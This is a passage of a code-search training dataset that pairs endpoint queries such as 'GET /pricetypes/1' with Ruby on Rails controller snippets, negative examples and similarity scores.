"def types()\n\t\t@pokemon_types = []\n\t\t@pokemon_api[\"types\"].each do |i|\n\t\t\t@pokemon_types.push(i[\"type\"][\"name\"].capitalize)\n\t\tend\n\t\treturn @pokemon_types\n\tend",
"def index\n @pre_print_types = PrePrintType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pre_print_types }\n end\n end",
"def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"def test_ListPlatformTypes\n\t\tcolName = 'types'\n\t\tretClass = LeanTesting::PlatformType\n\t\tresp = rcol(colName, ['_id', 'name'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = @client.platform.types.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def get_resource_types\n Occi::Log.debug(\"Getting resource types ...\")\n collection = @model.get Occi::Core::Resource.kind\n collection.kinds.collect { |kind| kind.term }\n end",
"def index\n @technotypes = Technotype.all\n\n respond_to do |format|\n format.json { render json: @technotypes, status: 200 }\n end\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def get_all_outypes\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/\"\n _get(path)\nend",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_types }\n end\n end",
"def index\n @poi_types = PoiType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poi_types }\n end\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def get_types(pokemon)\n pokemon_types = {}\n case pokemon['types'].size\n when 1\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n when 2\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n pokemon_types[:type2] = pokemon['types'][1]['type']['name']\n end\n pokemon_types\nend",
"def court_types\n render json: GamePass.court_types_options\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def show\n @all_type=Api::V1::AdminType.all\n render json: @all_type\n end",
"def types\n aux = WorkOrderType.by_name\n render json: serialized_work_order_types(aux)\n end",
"def types\n @client.make_request :get, reports_path\n end",
"def index\n respond_to do |format|\n format.html { @product_types = ProductType.all }\n format.json { @product_types = ProductType.order(:name) }\n end\n end",
"def get_product_count_types\n types = CountType.where(product_id: params[:product_id]).order(\"name ASC\").map { |type| [type.id, type.name] }\n render :json => types.to_json.to_s.to_json\n end",
"def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end",
"def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end",
"def show\n @types_of_apprenticeship = TypesOfApprenticeship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @types_of_apprenticeship }\n end\n end",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def index\n @shape_types = ShapeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shape_types }\n end\n end",
"def index\n @types = Type.all\n end",
"def index\n @pcr_types = PcrType.all\n end",
"def index\n authorize! :show, PointsEntryType\n load_active_points_entry_types\n\n respond_to do |format|\n format.html\n format.json { render json: @points_entry_types }\n end\n end",
"def index\n @novelty_types = NoveltyType.all\n end",
"def index\n @grouptypes = Grouptype.all\n end",
"def index\n @typeconges = Typeconge.all\n end",
"def index\n @task_types = @project.task_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @task_types }\n end\n end",
"def get_resource_types\n get_types(Occi::Core::Resource.kind)\n end",
"def index\n @typings = Typing.all\n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def index\n @trait_types = TraitType.all\n\n render json: @trait_types\n end",
"def index\n @timerecord_types = TimerecordType.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timerecord_types }\n end\n end",
"def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end",
"def types\n if @@types.nil? || (@@last_type_check + (4 * 60 * 60)) < Time.now\n @@last_type_check = Time.now\n @@types = _make_request(:types)['results']\n end\n @@types\n end",
"def index\n @company_types = CompanyType.all\n\n render json: @company_types\n end",
"def index\n @optypes = Optype.all\n end",
"def index\n @entry_types = EntryType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entry_types }\n end\n end",
"def index\n types = @user.tried_beer_ratings.last.beer_types.map do |type|\n {name: type.name, description: type.beg_description}\n end\n render json: types\n end",
"def describe_types\n [@options[:type]].flatten.join('/')\n end",
"def index\n @pubtypes = Pubtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pubtypes }\n end\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def places_kinds\n render json: Place.places_kinds\n end",
"def index\n @typegroups = Typegroup.all\n respond_to do |format|\n format.html\n format.json { render json: @typegroups }\n end\n end",
"def index\n @practitioner_types = PractitionerType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @practitioner_types }\n end\n end",
"def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def type\n @json['type']\n end",
"def show\n @api_v1_user_types = Api::V1::UserType.all\n end",
"def index\n @ftypes = Ftype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ftypes }\n end\n end",
"def index\n @dishtypes = Dishtype.all\n end",
"def index\n @print_types = PrintType.all\n end",
"def show\n @paper_type = PaperType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paper_type }\n end\n end",
"def types\n configuration[:types]\n end",
"def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end",
"def cmd_types argv\n setup argv\n response = @api.types\n msg response\n return response\n end",
"def index\n @resources = Resource.eager_load(:resource_type).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resources }\n end\n end",
"def index\n @projectile_types = ProjectileType.all\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_contract_types.to_ext_json(:class => ContractType, :count => ContractType.count(options_from_search(ContractType))) }\n end\n end",
"def show\n @type = Type.find(params[:id])\n @things = @type.things\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type }\n end\n end",
"def types\n @title = 'Resource Type Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_type)\n erb(:objects)\nend",
"def type\n response[\"type\"]\n end",
"def type\n response[\"type\"]\n end",
"def index\n @talk_types = TalkType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_types }\n end\n end",
"def index\n @hardware_types = HardwareType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hardware_types }\n end\n end",
"def index\n #@page_types is the variable containing all instances of the \"pagetype.rb\" model passed to the pagetype view \"index.html.slim\" (project_root/page_types) and is used to populate the page with information about each pagetype using @page_types.each (an iterative loop).\n if current_user && current_user.admin?\n @page_types = PageType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @page_types }\n end\n else\n flash[:danger] = 'Only administrators can modify page_types! <a href=\"' + new_user_session_path + '\">Log in to continue.</a>'\n redirect_to root_path\n end\n end",
"def types\n @types ||= Types.new(@client)\n end",
"def index\n @realty_types = RealtyType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @realty_types }\n end\n end",
"def index\n @leavetypes = Leavetype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leavetypes }\n end\n end",
"def index\n @leavetypes = Leavetype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leavetypes }\n end\n end",
"def show\n @page_type = PageType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_type }\n end\n end",
"def appointment_types(params = {})\n scope 'default'\n get('schedule/appointmenttypes/', params)\n end",
"def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end",
"def index\n @task_types = TaskType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_types }\n end\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def index\n authorize @thing, :get_types?\n @thing_types = @thing.thing_types\n end",
"def index\n @ctypes = Ctype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ctypes }\n end\n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def index\n @potion_types = PotionType.all\n end",
"def index\n @run_types = RunType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @run_types }\n end\n end",
"def index\n @observation_types = ObservationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @observation_types }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @typegroup }\n end\n end",
"def types\n @types ||= []\n end",
"def search\n authorize! :show, PointsEntryType\n search_points_entry_types\n\n respond_to do |format|\n #format.html # actually, no.\n format.json {\n render json: @points_entry_types.select([:id, :name, :default_points])\n }\n end\n end",
"def index\n @api_v1_user_types = Api::V1::UserType.all\n end",
"def index\n @critical_success_factor_types = CriticalSuccessFactorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_success_factor_types }\n end\n end",
"def available_types\n # TODO pull this from DB or config\n [\n :kiosk,\n :ride,\n :store,\n :restaurant\n ]\n end",
"def index\n @types = ItemType.all\n end",
"def index\n @special_needs_types = SpecialNeedsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @special_needs_types }\n end\n end",
"def types\n @types ||= profile_types.pluck(:title).join(' / ').html_safe\n end",
"def index\n @identifier_types = IdentifierType.order(:position).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @identifier_types }\n end\n end"
] |
[
"0.7098777",
"0.7082889",
"0.70656204",
"0.70656204",
"0.70499074",
"0.67209023",
"0.67128813",
"0.6612824",
"0.6565768",
"0.6556747",
"0.65171546",
"0.6475926",
"0.64640087",
"0.64589775",
"0.64427745",
"0.6416247",
"0.6416214",
"0.64113575",
"0.64056",
"0.64014184",
"0.6398116",
"0.6392064",
"0.6378241",
"0.6369007",
"0.63681686",
"0.6356218",
"0.6351247",
"0.63507456",
"0.63025534",
"0.6299445",
"0.6290688",
"0.6283924",
"0.6274918",
"0.6273397",
"0.62724924",
"0.6265505",
"0.6256968",
"0.6232203",
"0.62214094",
"0.62198526",
"0.62197936",
"0.6217506",
"0.6208116",
"0.6200554",
"0.61967623",
"0.61931574",
"0.61928034",
"0.61819714",
"0.6181314",
"0.6179624",
"0.61745566",
"0.6171181",
"0.6161333",
"0.6157523",
"0.6155281",
"0.6136622",
"0.61291003",
"0.6129046",
"0.61264235",
"0.6123583",
"0.6108626",
"0.6088269",
"0.6074284",
"0.60662097",
"0.6064555",
"0.6062423",
"0.6059166",
"0.60579616",
"0.6053089",
"0.6047028",
"0.60438895",
"0.60438895",
"0.6041392",
"0.603217",
"0.6030228",
"0.6023351",
"0.6018608",
"0.60172474",
"0.60172474",
"0.6017115",
"0.60119385",
"0.6010194",
"0.6004086",
"0.59987205",
"0.5997336",
"0.59970945",
"0.59956354",
"0.59910667",
"0.59904903",
"0.5987222",
"0.59870934",
"0.5978478",
"0.5977652",
"0.5975208",
"0.59748125",
"0.5972238",
"0.5971826",
"0.5965969",
"0.5965669",
"0.5964245"
] |
0.61185735
|
60
|
GET /pricetypes/1 GET /pricetypes/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @ptypes = Ptype.find(params[:id])\n end",
"def index\n @ptypes = Ptype.all\n end",
"def index\n @ptypes = Ptype.all\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @pre_print_types = PrePrintType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pre_print_types }\n end\n end",
"def show\n @types_of_apprenticeship = TypesOfApprenticeship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @types_of_apprenticeship }\n end\n end",
"def show\n @type = Type.find(params[:id])\n @things = @type.things\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type }\n end\n end",
"def show\n @paper_type = PaperType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paper_type }\n end\n end",
"def types()\n\t\t@pokemon_types = []\n\t\t@pokemon_api[\"types\"].each do |i|\n\t\t\t@pokemon_types.push(i[\"type\"][\"name\"].capitalize)\n\t\tend\n\t\treturn @pokemon_types\n\tend",
"def index\n @technotypes = Technotype.all\n\n respond_to do |format|\n format.json { render json: @technotypes, status: 200 }\n end\n end",
"def type\n @json['type']\n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def get_types(pokemon)\n pokemon_types = {}\n case pokemon['types'].size\n when 1\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n when 2\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n pokemon_types[:type2] = pokemon['types'][1]['type']['name']\n end\n pokemon_types\nend",
"def show\n @page_type = PageType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_type }\n end\n end",
"def show\n @all_type=Api::V1::AdminType.all\n render json: @all_type\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def show\n @type = Type.find(params[:id])\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_types }\n end\n end",
"def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"def type\n response[\"type\"]\n end",
"def type\n response[\"type\"]\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def show\n @pre_print_type = PrePrintType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pre_print_type }\n end\n end",
"def show\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_person }\n end\n end",
"def show\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @realty_type }\n end\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def show\n @collection_type = CollectionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collection_type }\n end\n end",
"def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end",
"def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end",
"def show\n @poi_type = PoiType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poi_type }\n end\n end",
"def index\n @types = Type.all\n end",
"def index\n @poi_types = PoiType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poi_types }\n end\n end",
"def show\n @poi_type = PoiType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poi_type }\n end\n end",
"def show\n @product_type = ProductType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_type }\n end\n end",
"def show\n @producttype = Producttype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producttype }\n end\n end",
"def getPageInfoByIDType(id, type)\n request('getPageInfoByIDType', {'id' => id, 'type' => type})\nend",
"def test_ListPlatformTypes\n\t\tcolName = 'types'\n\t\tretClass = LeanTesting::PlatformType\n\t\tresp = rcol(colName, ['_id', 'name'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = @client.platform.types.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def index\n @pcr_types = PcrType.all\n end",
"def index\n @pubtypes = Pubtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pubtypes }\n end\n end",
"def show\n @ProfileType = ProfileType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @ProfileType }\n end\n end",
"def type\n self['type']['type']\n end",
"def index\n respond_to do |format|\n format.html { @product_types = ProductType.all }\n format.json { @product_types = ProductType.order(:name) }\n end\n end",
"def show\n @api_v1_user_types = Api::V1::UserType.all\n end",
"def type\n @activities = Activity.tagged_with_on(:types,params[:type_name]).page params[:page]\n respond_with @activities\n end",
"def show\n @task_type = @project.task_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @task_type }\n end\n end",
"def index\n authorize! :show, PointsEntryType\n load_active_points_entry_types\n\n respond_to do |format|\n format.html\n format.json { render json: @points_entry_types }\n end\n end",
"def index\n @grouptypes = Grouptype.all\n end",
"def index\n @typeconges = Typeconge.all\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @typegroup }\n end\n end",
"def index\n @sample_types = SampleType.all.sort_by(&:name)\n @first = if @sample_types.any?\n @sample_types[0].name\n else\n 'no sample types'\n end\n\n respond_to do |format|\n format.html { render layout: 'aq2' }\n format.json do\n render json: @sample_types\n .sort { |a, b| a.name <=> b.name }\n .to_json(methods: :field_types)\n end\n end\n end",
"def index\n @shape_types = ShapeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shape_types }\n end\n end",
"def index\n @novelty_types = NoveltyType.all\n end",
"def show\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate_type }\n end\n end",
"def show\n @ip_type = IpType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ip_type }\n end\n end",
"def index\n @typings = Typing.all\n end",
"def index\n @timerecord_types = TimerecordType.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timerecord_types }\n end\n end",
"def show\n @pubtype = Pubtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pubtype }\n end\n end",
"def index\n @task_types = @project.task_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @task_types }\n end\n end",
"def index\n @entry_types = EntryType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entry_types }\n end\n end",
"def index\n render json: usage(params[:type])\n end",
"def show\n @instance_type = InstanceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @instance_type }\n end\n end",
"def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end",
"def show\n @question_type = QuestionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_type }\n end\n end",
"def index\n @optypes = Optype.all\n end",
"def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"def types\n @client.make_request :get, reports_path\n end",
"def index\n @company_types = CompanyType.all\n\n render json: @company_types\n end",
"def court_types\n render json: GamePass.court_types_options\n end",
"def show\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_type }\n end\n end",
"def show\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def show\n render json: @company_type\n end",
"def show \n\t\n\tbegin\n\t\t@coupon_type = CouponType.find(params[:id])\n\t\t\n\trescue Mongoid::Errors::DocumentNotFound\n\t\trespond_to do |format|\n\t\t\t#format.json { render :json => \"The Requested Coupon Type Does Not Exist.\\n\", status: 604 }\n\t\t\treturn\n\t\tend\n\telse\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\t#format.json { render json: @coupon_type }\n\t\t\tformat.json { render :json => @coupon_type.to_a.to_json }\t\t\t\n\t\tend\n\tend\n\t\n end",
"def index\n @practitioner_types = PractitionerType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @practitioner_types }\n end\n end",
"def show\n @category_type = CategoryType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_type }\n end\n end",
"def index\n @dishtypes = Dishtype.all\n end",
"def show\n @breadcrumb = 'read'\n @product_type = ProductType.find(params[:id])\n @products = @product_type.products.paginate(:page => params[:page], :per_page => per_page).order('product_code')\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_type }\n end\n end",
"def index\n @sample_types = SampleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sample_types }\n end\n end",
"def index\n @run_types = RunType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @run_types }\n end\n end",
"def index\n @print_types = PrintType.all\n end",
"def index\n @talk_types = TalkType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_types }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_type }\n end\n end",
"def get_all_outypes\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/\"\n _get(path)\nend",
"def index\n @resources = Resource.eager_load(:resource_type).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resources }\n end\n end",
"def show\n @fieldtype = Fieldtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fieldtype }\n end\n end",
"def index\n @hardware_types = HardwareType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hardware_types }\n end\n end",
"def type\r\n\t\t\t`#{BITS::BITSADMIN} /gettype {#{@id}}`\r\n\t\tend",
"def index\n @typegroups = Typegroup.all\n respond_to do |format|\n format.html\n format.json { render json: @typegroups }\n end\n end",
"def index\n @food_type_id = @foodTypes.first\n\n if params['type']\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: params['type']['type_id']).paginate(page: params[:page])\n else\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: @food_type_id).paginate(page: params[:page])\n end\n\n respond_with @foods\n end",
"def get_outype(outype_id)\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/#{outype_id}\"\n _get(path)\nend",
"def show\n @discipline_type = DisciplineType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_type }\n end\n end",
"def show\n @service_type = ServiceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service_type }\n end\n end",
"def show\n @promotion_type = PromotionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @promotion_type }\n end\n end",
"def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end",
"def show\n @ctype = Ctype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ctype }\n end\n end",
"def show\n @info_type = InfoType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @info_type }\n end\n end",
"def show\n @costtype = Costtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @costtype }\n end\n end"
] |
[
"0.720306",
"0.69025195",
"0.69025195",
"0.6631093",
"0.6580078",
"0.65065694",
"0.6449087",
"0.644413",
"0.64064336",
"0.6377752",
"0.6373143",
"0.63402414",
"0.63326675",
"0.6327099",
"0.6314866",
"0.63142866",
"0.6311793",
"0.63029534",
"0.6299322",
"0.6296339",
"0.6294535",
"0.62935823",
"0.62872845",
"0.62872845",
"0.6279672",
"0.62747574",
"0.62665474",
"0.6262193",
"0.62550354",
"0.6252382",
"0.6247393",
"0.6246295",
"0.6236648",
"0.62181044",
"0.621764",
"0.62032855",
"0.6199464",
"0.61882865",
"0.6160155",
"0.6159966",
"0.6147032",
"0.61463535",
"0.6145981",
"0.614019",
"0.6115733",
"0.61112",
"0.61111546",
"0.61012274",
"0.60921323",
"0.60870975",
"0.60857165",
"0.6084073",
"0.6082435",
"0.60765195",
"0.6075649",
"0.60693896",
"0.60675585",
"0.6067183",
"0.6062948",
"0.60514",
"0.6051335",
"0.6050312",
"0.60462135",
"0.60379374",
"0.6033174",
"0.60301924",
"0.6029443",
"0.6027036",
"0.60231304",
"0.6020639",
"0.6014146",
"0.6011128",
"0.60017085",
"0.59997326",
"0.5995928",
"0.59872985",
"0.5983684",
"0.59765977",
"0.597049",
"0.5964926",
"0.59646106",
"0.5957614",
"0.5952063",
"0.5948231",
"0.59448195",
"0.59432536",
"0.59430325",
"0.59378314",
"0.59372056",
"0.593686",
"0.593601",
"0.5931404",
"0.5928469",
"0.5928243",
"0.5924358",
"0.59230566",
"0.5921348",
"0.59207314",
"0.5920263",
"0.5918211",
"0.59137595"
] |
0.0
|
-1
|
POST /pricetypes POST /pricetypes.json
|
def create
@pricetype = Pricetype.new(pricetype_params)
respond_to do |format|
if @pricetype.save
format.html { redirect_to @pricetype, notice: 'Pricetype was successfully created.' }
format.json { render :show, status: :created, location: @pricetype }
else
format.html { render :new }
format.json { render json: @pricetype.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end",
"def create\n @type = Type.new(type_params)\n\n unless @type.save\n render json: @type.errors, status: :unprocessable_entity\n end\n \n end",
"def add_dummy_type\n params[:data] ||= {}\n params[:data][:type] = resource_klass._type.to_s\n end",
"def create_types\n\t[]\nend",
"def create_types\n\t[]\nend",
"def create_types\n\t\t[]\n\tend",
"def create_types\n\t\t[]\n\tend",
"def create\n @ptype = Ptype.new(ptype_params)\n\n respond_to do |format|\n if @ptype.save\n format.html { redirect_to @ptype, notice: 'Ptype was successfully created.' }\n format.json { render :show, status: :created, location: @ptype }\n else\n format.html { render :new }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ptype = Ptype.new(ptype_params)\n\n respond_to do |format|\n if @ptype.save\n format.html { redirect_to @ptype, notice: 'Ptype was successfully created.' }\n format.json { render :show, status: :created, location: @ptype }\n else\n format.html { render :new }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def type_params\n params.require(:type).permit(:name)\n end",
"def type_params\n params.require(:type).permit( :name)\n end",
"def create_types\n @types.each do |type|\n create_type(type) unless Type.where(name: type['name']).first\n end\n end",
"def pricetype_params\n params.require(:pricetype).permit(:name)\n end",
"def create\n @prune_type = PruneType.new(prune_type_params)\n\n respond_to do |format|\n if @prune_type.save\n format.html { redirect_to @prune_type, notice: 'Prune type was successfully created.' }\n format.json { render :show, status: :created, location: @prune_type }\n else\n format.html { render :new }\n format.json { render json: @prune_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_type_params\n params.require(:create_type).permit(:name, :display_name, :note)\n end",
"def ptype_params\n params.require(:ptype).permit(:poke_type, :chinese, :japanese)\n end",
